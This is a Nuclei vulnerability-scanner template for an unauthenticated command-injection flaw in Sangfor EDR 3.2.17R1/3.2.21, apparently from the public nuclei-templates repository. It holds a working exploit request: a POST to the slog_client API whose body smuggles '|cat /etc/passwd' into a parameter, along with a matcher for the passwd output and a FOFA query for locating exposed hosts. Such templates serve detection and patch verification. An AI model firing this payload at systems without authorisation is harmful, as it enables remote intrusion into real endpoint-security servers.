nuclei-templates/http/vulnerabilities/sangfor/sangfor-edr-rce.yaml

42 lines
1.1 KiB
YAML

id: sangfor-edr-rce
info:
name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution
author: pikpikcu
severity: critical
description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.
reference:
- https://www.cnblogs.com/0day-li/p/13650452.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
fofa-query: app="sangfor"
tags: rce,sangfor
http:
- method: POST
path:
- "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
{"params":"w=123\"'1234123'\"|cat /etc/passwd"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022022b4002c808dc82c3ec3a007f619890b0f37d185cccaef72a62aabaccc8b4fdb0220782c59cdad73afb29910801834bab642c0435d034c1362ad986941806ec75e63:922c64590222798bb761d5b6d8e72950